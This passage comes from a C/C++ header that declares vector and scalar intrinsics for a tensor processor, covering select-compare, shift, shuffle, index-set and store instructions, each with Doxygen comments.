value of DEST.\n/// @param predicate Predicate value for the instruction.\n/// @param polarity True if polarity of the predicate is inverted.\n/// @return Pair (c, a) or (d, b) with respect to the comparison of \\p a and \\p b.\n///\n/// @{\nfloat128 v_f32_sel2_grt_f32_vb(float64 a, float64 b, float64 c, float64 d, int switches, float128 income, bool64 predicate, bool polarity=0);\nfloat128 v_f32_sel2_grt_f32_b(float64 a, float64 b, float64 c, float64 d, int switches=0, float128 income={}, bool predicate=1, bool polarity=0);\nfloat64_int64 v_f32_sel2_grt_i32_vb(int64 a, int64 b, float64 c, float64 d, int switches, float64_int64 income, bool64 predicate, bool polarity=0);\nfloat64_int64 v_f32_sel2_grt_i32_b(int64 a, int64 b, float64 c, float64 d, int switches=0, float64_int64 income={}, bool predicate=1, bool polarity=0);\nfloat64_uint64 v_f32_sel2_grt_u32_vb(uint64 a, uint64 b, float64 c, float64 d, int switches, float64_uint64 income, bool64 predicate, bool polarity=0);\nfloat64_uint64 v_f32_sel2_grt_u32_b(uint64 a, uint64 b, float64 c, float64 d, int switches=0, float64_uint64 income={}, bool predicate=1, bool polarity=0);\n\n#if defined(__gaudi_plus__)\nbfloat256 v_bf16_sel2_grt_bf16_b(bfloat128 a, bfloat128 b, bfloat128 c, bfloat128 d, int switches=0, bfloat256 income={}, bool predicate=1, bool polarity=0);\nbfloat256 v_bf16_sel2_grt_bf16_vb(bfloat128 a, bfloat128 b, bfloat128 c, bfloat128 d, int switches, bfloat256 income, bool128 predicate, bool polarity=0);\nbfloat128_short128 v_bf16_sel2_grt_i16_b(short128 a, short128 b, bfloat128 c, bfloat128 d, int switches=0, bfloat128_short128 income={}, bool predicate=1, bool polarity=0);\nbfloat128_short128 v_bf16_sel2_grt_i16_vb(short128 a, short128 b, bfloat128 c, bfloat128 d, int switches, bfloat128_short128 income, bool128 predicate, bool polarity=0);\nbfloat128_ushort128 v_bf16_sel2_grt_u16_b(ushort128 a, ushort128 b, bfloat128 c, bfloat128 d, int switches=0, bfloat128_ushort128 income={}, bool predicate=1, bool polarity=0);\nbfloat128_ushort128 v_bf16_sel2_grt_u16_vb(ushort128 a, ushort128 b, bfloat128 c, bfloat128 d, int switches, bfloat128_ushort128 income, bool128 predicate, bool polarity=0);\n#endif\n\n\nint64_float64 v_i32_sel2_grt_f32_vb(float64 a, float64 b, int64 c, int64 d, int switches, int64_float64 income, bool64 predicate, bool polarity=0);\nint64_float64 v_i32_sel2_grt_f32_b(float64 a, float64 b, int64 c, int64 d, int switches=0, int64_float64 income={}, bool predicate=1, bool polarity=0);\nint128 v_i32_sel2_grt_i32_vb(int64 a, int64 b, int64 c, int64 d, int switches, int128 income, bool64 predicate, bool polarity=0);\nint128 v_i32_sel2_grt_i32_b(int64 a, int64 b, int64 c, int64 d, int switches=0, int128 income={}, bool predicate=1, bool polarity=0);\nint64_uint64 v_i32_sel2_grt_u32_vb(uint64 a, uint64 b, int64 c, int64 d, int switches, int64_uint64 income, bool64 predicate, bool polarity=0);\nint64_uint64 v_i32_sel2_grt_u32_b(uint64 a, uint64 b, int64 c, int64 d, int switches=0, int64_uint64 income={}, bool predicate=1, bool polarity=0);\n\nuint64_float64 v_u32_sel2_grt_f32_vb(float64 a, float64 b, uint64 c, uint64 d, int switches, uint64_float64 income, bool64 predicate, bool polarity=0);\nuint64_float64 v_u32_sel2_grt_f32_b(float64 a, float64 b, uint64 c, uint64 d, int switches=0, uint64_float64 income={}, bool predicate=1, bool polarity=0);\nuint64_int64 v_u32_sel2_grt_i32_vb(int64 a, int64 b, uint64 c, uint64 d, int switches, uint64_int64 income, bool64 predicate, bool polarity=0);\nuint64_int64 v_u32_sel2_grt_i32_b(int64 a, int64 b, uint64 c, uint64 d, int switches=0, uint64_int64 income={}, bool predicate=1, bool polarity=0);\nuint128 v_u32_sel2_grt_u32_vb(uint64 a, uint64 b, uint64 c, uint64 d, int switches, uint128 income, bool64 predicate, bool polarity=0);\nuint128 v_u32_sel2_grt_u32_b(uint64 a, uint64 b, uint64 c, uint64 d, int switches=0, uint128 income={}, bool predicate=1, bool polarity=0);\n\n#if defined(__gaudi_plus__)\nshort128_bfloat128 v_i16_sel2_grt_bf16_vb(bfloat128 a, bfloat128 b, short128 c, short128 d, int switches, short128_bfloat128 income, bool128 predicate, bool polarity=0);\nshort128_bfloat128 v_i16_sel2_grt_bf16_b(bfloat128 a, bfloat128 b, short128 c, short128 d, int switches=0, short128_bfloat128 income={}, bool predicate=1, bool polarity=0);\n#endif\nshort256 v_i16_sel2_grt_i16_vb(short128 a, short128 b, short128 c, short128 d, int switches, short256 income, bool128 predicate, bool polarity=0);\nshort256 v_i16_sel2_grt_i16_b(short128 a, short128 b, short128 c, short128 d, int switches=0, short256 income={}, bool predicate=1, bool polarity=0);\nshort128_ushort128 v_i16_sel2_grt_u16_vb(ushort128 a, ushort128 b, short128 c, short128 d, int switches, short128_ushort128 income, bool128 predicate, bool polarity=0);\nshort128_ushort128 v_i16_sel2_grt_u16_b(ushort128 a, ushort128 b, short128 c, short128 d, int switches=0, short128_ushort128 income={}, bool predicate=1, bool polarity=0);\n\n#if defined(__gaudi_plus__)\nushort128_bfloat128 v_u16_sel2_grt_bf16_vb(bfloat128 a, bfloat128 b, ushort128 c, ushort128 d, int switches, ushort128_bfloat128 income, bool128 predicate, bool polarity=0);\nushort128_bfloat128 v_u16_sel2_grt_bf16_b(bfloat128 a, bfloat128 b, ushort128 c, ushort128 d, int switches=0, ushort128_bfloat128 income={}, bool predicate=1, bool polarity=0);\n#endif\nushort128_short128 v_u16_sel2_grt_i16_vb(short128 a, short128 b, ushort128 c, ushort128 d, int switches, ushort128_short128 income, bool128 predicate, bool polarity=0);\nushort128_short128 v_u16_sel2_grt_i16_b(short128 a, short128 b, ushort128 c, ushort128 d, int switches=0, ushort128_short128 income={}, bool predicate=1, bool polarity=0);\nushort256 v_u16_sel2_grt_u16_vb(ushort128 a, ushort128 b, ushort128 c, ushort128 d, int switches, ushort256 income, bool128 predicate, bool polarity=0);\nushort256 v_u16_sel2_grt_u16_b(ushort128 a, ushort128 b, ushort128 c, ushort128 d, int switches=0, ushort256 income={}, bool predicate=1, bool polarity=0);\n\nchar512 v_i8_sel2_grt_i8_vb(char256 a, char256 b, char256 c, char256 d, int switches, char512 income, bool256 predicate, bool polarity=0);\nchar512 v_i8_sel2_grt_i8_b(char256 a, char256 b, char256 c, char256 d, int switches=0, char512 income={}, bool predicate=1, bool polarity=0);\nchar256_uchar256 v_i8_sel2_grt_u8_vb(uchar256 a, uchar256 b, char256 c, char256 d, int switches, char256_uchar256 income, bool256 predicate, bool polarity=0);\nchar256_uchar256 v_i8_sel2_grt_u8_b(uchar256 a, uchar256 b, char256 c, char256 d, int switches=0, char256_uchar256 income={}, bool predicate=1, bool polarity=0);\n\nuchar256_char256 v_u8_sel2_grt_i8_vb(char256 a, char256 b, uchar256 c, uchar256 d, int switches, uchar256_char256 income, bool256 predicate, bool polarity=0);\nuchar256_char256 v_u8_sel2_grt_i8_b(char256 a, char256 b, uchar256 c, uchar256 d, int switches=0, uchar256_char256 income={}, bool predicate=1, bool polarity=0);\nuchar512 v_u8_sel2_grt_u8_vb(uchar256 a, uchar256 b, uchar256 c, uchar256 d, int switches, uchar512 income, bool256 predicate, bool polarity=0);\nuchar512 v_u8_sel2_grt_u8_b(uchar256 a, uchar256 b, uchar256 c, uchar256 d, int switches=0, uchar512 income={}, bool predicate=1, bool polarity=0);\n\n/// @}\n\n//\n// ------ SEL2_GEQ\n//\n\n/// @brief Represents SEL2_GEQ instruction.\n///\n/// @param a Source #1 to compare and select (SRC1).\n/// @param b Source #2 to compare and select (SRC2).\n/// @param c Source #1 to select (SRC3).\n/// @param d Source #2 to select (SRC4).\n/// @param switches Switches of the instruction.\n/// @param income Income value of DEST.\n/// @param predicate Predicate value for the instruction.\n/// @param polarity True if polarity of the predicate is inverted.\n/// @return Pair (c, a) or (d, b) with respect to the comparison of \\p a and \\p b.\n///\n/// @{\nfloat128 v_f32_sel2_geq_f32_vb(float64 a, float64 b, float64 c, float64 d, int switches, float128 income, bool64 predicate, bool polarity=0);\nfloat128 v_f32_sel2_geq_f32_b(float64 a, float64 b, float64 c, float64 d, int switches=0, float128 income={}, bool predicate=1, bool polarity=0);\nfloat64_int64 v_f32_sel2_geq_i32_vb(int64 a, int64 b, float64 c, float64 d, int switches, float64_int64 income, bool64 predicate, bool polarity=0);\nfloat64_int64 v_f32_sel2_geq_i32_b(int64 a, int64 b, float64 c, float64 d, int switches=0, float64_int64 income={}, bool predicate=1, bool polarity=0);\nfloat64_uint64 v_f32_sel2_geq_u32_vb(uint64 a, uint64 b, float64 c, float64 d, int switches, float64_uint64 income, bool64 predicate, bool polarity=0);\nfloat64_uint64 v_f32_sel2_geq_u32_b(uint64 a, uint64 b, float64 c, float64 d, int switches=0, float64_uint64 income={}, bool predicate=1, bool polarity=0);\n\n#if defined(__gaudi_plus__)\nbfloat256 v_bf16_sel2_geq_bf16_b(bfloat128 a, bfloat128 b, bfloat128 c, bfloat128 d, int switches=0, bfloat256 income={}, bool predicate=1, bool polarity=0);\nbfloat256 v_bf16_sel2_geq_bf16_vb(bfloat128 a, bfloat128 b, bfloat128 c, bfloat128 d, int switches, bfloat256 income, bool128 predicate, bool polarity=0);\nbfloat128_short128 v_bf16_sel2_geq_i16_b(short128 a, short128 b, bfloat128 c, bfloat128 d, int switches=0, bfloat128_short128 income={}, bool predicate=1, bool polarity=0);\nbfloat128_short128 v_bf16_sel2_geq_i16_vb(short128 a, short128 b, bfloat128 c, bfloat128 d, int switches, bfloat128_short128 income, bool128 predicate, bool polarity=0);\nbfloat128_ushort128 v_bf16_sel2_geq_u16_b(ushort128 a, ushort128 b, bfloat128 c, bfloat128 d, int switches=0, bfloat128_ushort128 income={}, bool predicate=1, bool polarity=0);\nbfloat128_ushort128 v_bf16_sel2_geq_u16_vb(ushort128 a, ushort128 b, bfloat128 c, bfloat128 d, int switches, bfloat128_ushort128 income, bool128 predicate, bool polarity=0);\n#endif\n\n\nint64_float64 v_i32_sel2_geq_f32_vb(float64 a, float64 b, int64 c, int64 d, int switches, int64_float64 income, bool64 predicate, bool polarity=0);\nint64_float64 v_i32_sel2_geq_f32_b(float64 a, float64 b, int64 c, int64 d, int switches=0, int64_float64 income={}, bool predicate=1, bool polarity=0);\nint128 v_i32_sel2_geq_i32_vb(int64 a, int64 b, int64 c, int64 d, int switches, int128 income, bool64 predicate, bool polarity=0);\nint128 v_i32_sel2_geq_i32_b(int64 a, int64 b, int64 c, int64 d, int switches=0, int128 income={}, bool predicate=1, bool polarity=0);\nint64_uint64 v_i32_sel2_geq_u32_vb(uint64 a, uint64 b, int64 c, int64 d, int switches, int64_uint64 income, bool64 predicate, bool polarity=0);\nint64_uint64 v_i32_sel2_geq_u32_b(uint64 a, uint64 b, int64 c, int64 d, int switches=0, int64_uint64 income={}, bool predicate=1, bool polarity=0);\n\nuint64_float64 v_u32_sel2_geq_f32_vb(float64 a, float64 b, uint64 c, uint64 d, int switches, uint64_float64 income, bool64 predicate, bool polarity=0);\nuint64_float64 v_u32_sel2_geq_f32_b(float64 a, float64 b, uint64 c, uint64 d, int switches=0, uint64_float64 income={}, bool predicate=1, bool polarity=0);\nuint64_int64 v_u32_sel2_geq_i32_vb(int64 a, int64 b, uint64 c, uint64 d, int switches, uint64_int64 income, bool64 predicate, bool polarity=0);\nuint64_int64 v_u32_sel2_geq_i32_b(int64 a, int64 b, uint64 c, uint64 d, int switches=0, uint64_int64 income={}, bool predicate=1, bool polarity=0);\nuint128 v_u32_sel2_geq_u32_vb(uint64 a, uint64 b, uint64 c, uint64 d, int switches, uint128 income, bool64 predicate, bool polarity=0);\nuint128 v_u32_sel2_geq_u32_b(uint64 a, uint64 b, uint64 c, uint64 d, int switches=0, uint128 income={}, bool predicate=1, bool polarity=0);\n\n#if defined(__gaudi_plus__)\nshort128_bfloat128 v_i16_sel2_geq_bf16_vb(bfloat128 a, bfloat128 b, short128 c, short128 d, int switches, short128_bfloat128 income, bool128 predicate, bool polarity=0);\nshort128_bfloat128 v_i16_sel2_geq_bf16_b(bfloat128 a, bfloat128 b, short128 c, short128 d, int switches=0, short128_bfloat128 income={}, bool predicate=1, bool polarity=0);\n#endif\nshort256 v_i16_sel2_geq_i16_vb(short128 a, short128 b, short128 c, short128 d, int switches, short256 income, bool128 predicate, bool polarity=0);\nshort256 v_i16_sel2_geq_i16_b(short128 a, short128 b, short128 c, short128 d, int switches=0, short256 income={}, bool predicate=1, bool polarity=0);\nshort128_ushort128 v_i16_sel2_geq_u16_vb(ushort128 a, ushort128 b, short128 c, short128 d, int switches, short128_ushort128 income, bool128 predicate, bool polarity=0);\nshort128_ushort128 v_i16_sel2_geq_u16_b(ushort128 a, ushort128 b, short128 c, short128 d, int switches=0, short128_ushort128 income={}, bool predicate=1, bool polarity=0);\n\n#if defined(__gaudi_plus__)\nushort128_bfloat128 v_u16_sel2_geq_bf16_vb(bfloat128 a, bfloat128 b, ushort128 c, ushort128 d, int switches, ushort128_bfloat128 income, bool128 predicate, bool polarity=0);\nushort128_bfloat128 v_u16_sel2_geq_bf16_b(bfloat128 a, bfloat128 b, ushort128 c, ushort128 d, int switches=0, ushort128_bfloat128 income={}, bool predicate=1, bool polarity=0);\n#endif\nushort128_short128 v_u16_sel2_geq_i16_vb(short128 a, short128 b, ushort128 c, ushort128 d, int switches, ushort128_short128 income, bool128 predicate, bool polarity=0);\nushort128_short128 v_u16_sel2_geq_i16_b(short128 a, short128 b, ushort128 c, ushort128 d, int switches=0, ushort128_short128 income={}, bool predicate=1, bool polarity=0);\nushort256 v_u16_sel2_geq_u16_vb(ushort128 a, ushort128 b, ushort128 c, ushort128 d, int switches, ushort256 income, bool128 predicate, bool polarity=0);\nushort256 v_u16_sel2_geq_u16_b(ushort128 a, ushort128 b, ushort128 c, ushort128 d, int switches=0, ushort256 income={}, bool predicate=1, bool polarity=0);\n\nchar512 v_i8_sel2_geq_i8_vb(char256 a, char256 b, char256 c, char256 d, int switches, char512 income, bool256 predicate, bool polarity=0);\nchar512 v_i8_sel2_geq_i8_b(char256 a, char256 b, char256 c, char256 d, int switches=0, char512 income={}, bool predicate=1, bool polarity=0);\nchar256_uchar256 v_i8_sel2_geq_u8_vb(uchar256 a, uchar256 b, char256 c, char256 d, int switches, char256_uchar256 income, bool256 predicate, bool polarity=0);\nchar256_uchar256 v_i8_sel2_geq_u8_b(uchar256 a, uchar256 b, char256 c, char256 d, int switches=0, char256_uchar256 income={}, bool predicate=1, bool polarity=0);\n\nuchar256_char256 v_u8_sel2_geq_i8_vb(char256 a, char256 b, uchar256 c, uchar256 d, int switches, uchar256_char256 income, bool256 predicate, bool polarity=0);\nuchar256_char256 v_u8_sel2_geq_i8_b(char256 a, char256 b, uchar256 c, uchar256 d, int switches=0, uchar256_char256 income={}, bool predicate=1, bool polarity=0);\nuchar512 v_u8_sel2_geq_u8_vb(uchar256 a, uchar256 b, uchar256 c, uchar256 d, int switches, uchar512 income, bool256 predicate, bool polarity=0);\nuchar512 v_u8_sel2_geq_u8_b(uchar256 a, uchar256 b, uchar256 c, uchar256 d, int switches=0, uchar512 income={}, bool predicate=1, bool polarity=0);\n\n/// @}\n\n\n//\n// ------ SET_INDX\n//\n\n\n/// @brief Represents SET_INDX instruction.\n///\n/// @param value Value assigned to selected dimensions (SRC1).\n/// @param ndx Source tensor coordinates.\n/// @param dimmask Selects IRF lanes participated in the operation.\n/// @param switches Switches of the instruction.\n/// @param predicate Predicate value for the instruction.\n/// @param polarity True if polarity of the predicate is inverted.\n/// @return Tensor coordinates after assignment.\n///\n/// @{\nint5 set_indx(int value, int5 ndx, const int dimmask, int switches, bool predicate=1, bool polarity=0);\n/// @}\n\n\n//\n// ------ SHL\n//\n\n\n/// @brief Represents SHL instruction.\n///\n/// @param a The value to shift (SRC1).\n/// @param b The number of bits to shift left (SRC2).\n/// @param switches Switches of SHL instructions.\n/// @param income Income value of DEST.\n/// @param predicate Predicate value for the instruction.\n/// @param polarity True if polarity of the predicate is inverted.\n/// @return Result of operation.\n///\n/// @{\nfloat s_f32_shl(float a, int8_t b, int switches=0, float income={}, bool predicate=1, bool polarity=0);\n#if defined(__gaudi_plus__)\nbf16 s_bf16_shl(bf16 a, uint8_t b, int switches=0, bf16 income={}, bool predicate=1, bool polarity=0);\n#endif\nint32_t s_i32_shl(int32_t a, int8_t b, int switches=0, int32_t income={}, bool predicate=1, bool polarity=0);\nuint32_t s_u32_shl(uint32_t a, int8_t b, int switches=0, uint32_t income={}, bool predicate=1, bool polarity=0);\nint16_t s_i16_shl(int16_t a, int8_t b, int switches=0, int16_t income={}, bool predicate=1, bool polarity=0);\nuint16_t s_u16_shl(uint16_t a, int8_t b, int switches=0, uint16_t income={}, bool predicate=1, bool polarity=0);\nint8_t s_i8_shl(int8_t a, int8_t b, int switches=0, int8_t income={}, bool predicate=1, bool polarity=0);\nuint8_t s_u8_shl(uint8_t a, int8_t b, int switches=0, uint8_t income={}, bool predicate=1, bool polarity=0);\n\nfloat64 v_f32_shl_b(float64 a, int64 b, int switches=0, float64 income={}, bool predicate=1, bool polarity=0);\nfloat64 v_f32_shl_vb(float64 a, int64 b, int switches, float64 income, bool64 predicate, bool polarity=0);\n#if defined(__gaudi_plus__)\nbfloat128 v_bf16_shl_b(bfloat128 a, short128 b, int switches=0, bfloat128 income={}, bool predicate=1, bool polarity=0);\nbfloat128 v_bf16_shl_vb(bfloat128 a, short128 b, int switches, bfloat128 income, bool128 predicate, bool polarity=0);\n#endif\nint64 v_i32_shl_b(int64 a, int64 b, int switches=0, int64 income={}, bool predicate=1, bool polarity=0);\nint64 v_i32_shl_vb(int64 a, int64 b, int switches, int64 income, bool64 predicate, bool polarity=0);\nuint64 v_u32_shl_b(uint64 a, int64 b, int switches=0, uint64 income={}, bool predicate=1, bool polarity=0);\nuint64 v_u32_shl_vb(uint64 a, int64 b, int switches, uint64 income, bool64 predicate, bool polarity=0);\nshort128 v_i16_shl_b(short128 a, short128 b, int switches=0, short128 income={}, bool predicate=1, bool polarity=0);\nshort128 v_i16_shl_vb(short128 a, short128 b, int switches, short128 income, bool128 predicate, bool polarity=0);\nushort128 v_u16_shl_b(ushort128 a, short128 b, int switches=0, ushort128 income={}, bool predicate=1, bool polarity=0);\nushort128 v_u16_shl_vb(ushort128 a, short128 b, int switches, ushort128 income, bool128 predicate, bool polarity=0);\nchar256 v_i8_shl_b(char256 a, char256 b, int switches=0, char256 income={}, bool predicate=1, bool polarity=0);\nchar256 v_i8_shl_vb(char256 a, char256 b, int switches, char256 income, bool256 predicate, bool polarity=0);\nuchar256 v_u8_shl_b(uchar256 a, char256 b, int switches=0, uchar256 income={}, bool predicate=1, bool polarity=0);\nuchar256 v_u8_shl_vb(uchar256 a, char256 b, int switches, uchar256 income, bool256 predicate, bool polarity=0);\n/// @}\n\n\n#if defined(__gaudi_plus__)\n/// @brief Represents SHL instruction for int5 operands.\n///\n/// @param a The value to shift (SRC1).\n/// @param b The number of bits to shift left (SRC2).\n/// @param dimmask Selects IRF lanes participated in the operation.\n/// @param switches Switches of SHL instructions.\n/// @param income Income value of DEST.\n/// @param predicate Predicate value for the instruction.\n/// @param polarity True if polarity of the predicate is inverted.\n/// @return Result of operation.\n///\n#endif\n/// @{\n#if defined(__gaudi_plus__)\nint5 i_i32_shl(int5 a, int5 b, int dimmask, const int switches, int5 income, bool predicate=1, bool polarity=0);\n#endif\n/// @}\n\n\n//\n// ------ SHR\n//\n\n\n/// @brief Represents SHR instruction.\n///\n/// @param a The value to shift (SRC1).\n/// @param b The number of bits to shift right (SRC2).\n/// @param switches Switches of SHR instructions.\n/// @param income Income value of DEST.\n/// @param predicate Predicate value for the instruction.\n/// @param polarity True if polarity of the predicate is inverted.\n/// @return Result of operation.\n///\n/// @{\nfloat s_f32_shr(float a, int8_t b, int switches=0, float income={}, bool predicate=1, bool polarity=0);\n#if defined(__gaudi_plus__)\nbf16 s_bf16_shr(bf16 a, uint8_t b, int switches=0, bf16 income={}, bool predicate=1, bool polarity=0);\n#endif\nint32_t s_i32_shr(int32_t a, int8_t b, int switches=0, int32_t income={}, bool predicate=1, bool polarity=0);\nuint32_t s_u32_shr(uint32_t a, int8_t b, int switches=0, uint32_t income={}, bool predicate=1, bool polarity=0);\nint16_t s_i16_shr(int16_t a, int8_t b, int switches=0, int16_t income={}, bool predicate=1, bool polarity=0);\nuint16_t s_u16_shr(uint16_t a, int8_t b, int switches=0, uint16_t income={}, bool predicate=1, bool polarity=0);\nint8_t s_i8_shr(int8_t a, int8_t b, int switches=0, int8_t income={}, bool predicate=1, bool polarity=0);\nuint8_t s_u8_shr(uint8_t a, int8_t b, int switches=0, uint8_t income={}, bool predicate=1, bool polarity=0);\n\nfloat64 v_f32_shr_b(float64 a, int64 b, int switches=0, float64 income={}, bool predicate=1, bool polarity=0);\nfloat64 v_f32_shr_vb(float64 a, int64 b, int switches, float64 income, bool64 predicate, bool polarity=0);\n#if defined(__gaudi_plus__)\nbfloat128 v_bf16_shr_b(bfloat128 a, short128 b, int switches=0, bfloat128 income={}, bool predicate=1, bool polarity=0);\nbfloat128 v_bf16_shr_vb(bfloat128 a, short128 b, int switches, bfloat128 income, bool128 predicate, bool polarity=0);\n#endif\nint64 v_i32_shr_b(int64 a, int64 b, int switches=0, int64 income={}, bool predicate=1, bool polarity=0);\nint64 v_i32_shr_vb(int64 a, int64 b, int switches, int64 income, bool64 predicate, bool polarity=0);\nuint64 v_u32_shr_b(uint64 a, int64 b, int switches=0, uint64 income={}, bool predicate=1, bool polarity=0);\nuint64 v_u32_shr_vb(uint64 a, int64 b, int switches, uint64 income, bool64 predicate, bool polarity=0);\nshort128 v_i16_shr_b(short128 a, short128 b, int switches=0, short128 income={}, bool predicate=1, bool polarity=0);\nshort128 v_i16_shr_vb(short128 a, short128 b, int switches, short128 income, bool128 predicate, bool polarity=0);\nushort128 v_u16_shr_b(ushort128 a, short128 b, int switches=0, ushort128 income={}, bool predicate=1, bool polarity=0);\nushort128 v_u16_shr_vb(ushort128 a, short128 b, int switches, ushort128 income, bool128 predicate, bool polarity=0);\nchar256 v_i8_shr_b(char256 a, char256 b, int switches=0, char256 income={}, bool predicate=1, bool polarity=0);\nchar256 v_i8_shr_vb(char256 a, char256 b, int switches, char256 income, bool256 predicate, bool polarity=0);\nuchar256 v_u8_shr_b(uchar256 a, char256 b, int switches=0, uchar256 income={}, bool predicate=1, bool polarity=0);\nuchar256 v_u8_shr_vb(uchar256 a, char256 b, int switches, uchar256 income, bool256 predicate, bool polarity=0);\n/// @}\n\n\n#if defined(__gaudi_plus__)\n/// @brief Represents SHR instruction for int5 operands.\n///\n/// @param a The value to shift (SRC1).\n/// @param b The number of bits to shift right (SRC2).\n/// @param dimmask Selects IRF lanes participated in the operation.\n/// @param switches Switches of SHR instructions.\n/// @param income Income value of DEST.\n/// @param predicate Predicate value for the instruction.\n/// @param polarity True if polarity of the predicate is inverted.\n/// @return Result of operation.\n///\n#endif\n/// @{\n#if defined(__gaudi_plus__)\nint5 i_i32_shr(int5 a, int5 b, int dimmask, const int switches, int5 income, bool predicate=1, bool polarity=0);\n#endif\n/// @}\n\n\n//\n// ------ SHUFFLE\n//\n\n/// @brief Represents SHUFFLE instruction.\n///\n/// @param a Value to shuffle (SRC1).\n/// @param b SHUFFLE directions (SRC2).\n/// @param switches Instruction switches.\n/// @param income Income value of DEST.\n/// @param predicate Predicate value for the instruction.\n/// @param polarity True if polarity of the predicate is inverted.\n/// @return Reshuffled vector.\n///\n/// For each element in DEST b encodes the src element in the following format \\n\n/// | bits | 0-4 | 5 | 6 | 7 |\n/// |-------------|----------------|--------------|----------|-----------------|\n/// | description | source-element | source-group | reserved | shuffle-enabled |\n///\n/// Only if shuffle-enabled bit is set the output element should be written.\n///\n/// \\c DEST[i]=a[b[i]]\n///\n/// @{\nfloat64 v_f32_shuffle_b(float64 a, uchar256 b, int switches, float64 income, bool predicate=1, bool polarity=0);\nfloat64 v_f32_shuffle_vb(float64 a, uchar256 b, int switches, float64 income, bool64 predicate, bool polarity=0);\n#if defined(__gaudi_plus__)\nbfloat128 v_bf16_shuffle_b(bfloat128 a, uchar256 b, int switches, bfloat128 income, bool predicate=1, bool polarity=0);\nbfloat128 v_bf16_shuffle_vb(bfloat128 a, uchar256 b, int switches, bfloat128 income, bool128 predicate, bool polarity=0);\n#endif\nint64 v_i32_shuffle_b(int64 a, uchar256 b, int switches, int64 income, bool predicate=1, bool polarity=0);\nint64 v_i32_shuffle_vb(int64 a, uchar256 b, int switches, int64 income, bool64 predicate, bool polarity=0);\nuint64 v_u32_shuffle_b(uint64 a, uchar256 b, int switches, uint64 income, bool predicate=1, bool polarity=0);\nuint64 v_u32_shuffle_vb(uint64 a, uchar256 b, int switches, uint64 income, bool64 predicate, bool polarity=0);\nshort128 v_i16_shuffle_b(short128 a, uchar256 b, int switches, short128 income, bool predicate=1, bool polarity=0);\nshort128 v_i16_shuffle_vb(short128 a, uchar256 b, int switches, short128 income, bool128 predicate, bool polarity=0);\nushort128 v_u16_shuffle_b(ushort128 a, uchar256 b, int switches, ushort128 income, bool predicate=1, bool polarity=0);\nushort128 v_u16_shuffle_vb(ushort128 a, uchar256 b, int switches, ushort128 income, bool128 predicate, bool polarity=0);\nchar256 v_i8_shuffle_b(char256 a, uchar256 b, int switches, char256 income, bool predicate=1, bool polarity=0);\nchar256 v_i8_shuffle_vb(char256 a, uchar256 b, int switches, char256 income, bool256 predicate, bool polarity=0);\nuchar256 v_u8_shuffle_b(uchar256 a, uchar256 b, int switches, uchar256 income, bool predicate=1, bool polarity=0);\nuchar256 v_u8_shuffle_vb(uchar256 a, uchar256 b, int switches, uchar256 income, bool256 predicate, bool polarity=0);\n/// @}\n\n\n//\n// ------ ST_G\n//\n\n/// @brief Represents ST_G instruction.\n///\n/// @param addr Address to write to (SRC1).\n/// @param value Value to write (SRC2).\n/// @param switches Instruction switches.\n/// @param predicate Predicate value for the instruction.\n/// @param polarity True if polarity of the predicate is inverted.\n///\n///\n/// @{\nvoid s_f32_st_g(__global void *addr, float value, int switches=0, bool predicate=1, bool polarity=0);\n#if defined(__gaudi_plus__)\nvoid s_bf16_st_g(__global void *addr, bf16 value, int switches=0, bool predicate=1, bool polarity=0);\n#endif\nvoid s_i32_st_g(__global void *addr, int32_t value, int switches=0, bool predicate=1, bool polarity=0);\nvoid s_u32_st_g(__global void *addr, uint32_t value, int switches=0, bool predicate=1, bool polarity=0);\nvoid s_i16_st_g(__global void *addr, int16_t value, int switches=0, bool predicate=1, bool polarity=0);\nvoid s_u16_st_g(__global void *addr, uint16_t value, int switches=0, bool predicate=1, bool polarity=0);\nvoid s_i8_st_g(__global void *addr, int8_t value, int switches=0, bool predicate=1, bool polarity=0);\nvoid s_u8_st_g(__global void *addr, uint8_t value, int switches=0, bool predicate=1, bool polarity=0);\nvoid s_i1_st_g(__global void *addr, bool value, int switches=0, bool predicate=1, bool polarity=0);\n/// @}\n\n\n//\n// ------ ST_L\n//\n\n/// @brief Represents ST_L instruction.\n///\n/// @param addr Address to write to (SRC1).\n/// @param value Value to write (SRC2).\n/// @param switches Instruction switches.\n/// @param predicate Predicate value for the instruction.\n/// @param polarity True if polarity of the predicate is inverted.\n///\n/// \\par Allowed switches are:\n/// \\li SW_MMIO - When set store to MMIO, else - store to SLM.\n///\n/// @{\nvoid s_f32_st_l(uint32_t addr, float value, int switches=0, bool predicate=1, bool polarity=0);\n#if defined(__gaudi_plus__)\nvoid s_bf16_st_l(uint32_t addr, bf16 value, int switches=0, bool predicate=1, bool polarity=0);\n#endif\nvoid s_i32_st_l(uint32_t addr, int32_t value, int switches=0, bool predicate=1, bool polarity=0);\nvoid s_u32_st_l(uint32_t addr, uint32_t value, int switches=0, bool predicate=1, bool polarity=0);\nvoid s_i16_st_l(uint32_t addr, int16_t value, int switches=0, bool predicate=1, bool polarity=0);\nvoid s_u16_st_l(uint32_t addr, uint16_t value, int switches=0, bool predicate=1, bool polarity=0);\nvoid s_i8_st_l(uint32_t addr, int8_t value, int switches=0, bool predicate=1, bool polarity=0);\nvoid s_u8_st_l(uint32_t addr, uint8_t value, int switches=0, bool predicate=1, bool polarity=0);\nvoid s_i1_st_l(uint32_t addr, bool value, int switches=0, bool predicate=1, bool polarity=0);\n/// @}\n\n\n//\n// ------ ST_L_V\n//\n\n/// @brief Represents ST_L_V instruction.\n///\n/// @param addr Address to write to (SRC1).\n/// @param value Value to write (SRC2).\n/// @param switches Instruction switches.\n/// @param predicate Predicate value for the instruction.\n/// @param polarity True if polarity of the predicate is inverted.\n///\n///\n/// @{\nvoid v_f32_st_l_v(uint32_t addr, float64 value, int switches=0, bool predicate=1, bool polarity=0);\n#if defined(__gaudi_plus__)\nvoid v_bf16_st_l_v(uint32_t addr, bfloat128 value, int switches=0, bool predicate=1, bool polarity=0);\n#endif\nvoid v_i32_st_l_v(uint32_t addr, int64 value, int switches=0, bool predicate=1, bool polarity=0);\nvoid v_u32_st_l_v(uint32_t addr, uint64 value, int switches=0, bool predicate=1, bool polarity=0);\nvoid v_i16_st_l_v(uint32_t addr, short128 value, int switches=0, bool predicate=1, bool polarity=0);\nvoid v_u16_st_l_v(uint32_t addr, ushort128 value, int switches=0, bool predicate=1, bool polarity=0);\nvoid v_i8_st_l_v(uint32_t addr, char256 value, int switches=0, bool predicate=1, bool polarity=0);\nvoid v_u8_st_l_v(uint32_t addr, uchar256 value, int switches=0, bool predicate=1, bool polarity=0);\nvoid v_i1_st_l_v(uint32_t addr, bool256 value, int switches=0, bool predicate=1, bool polarity=0);\n/// @}\n\n\n//\n// ------ ST_L_V_LOW\n//\n\n/// @brief Represents 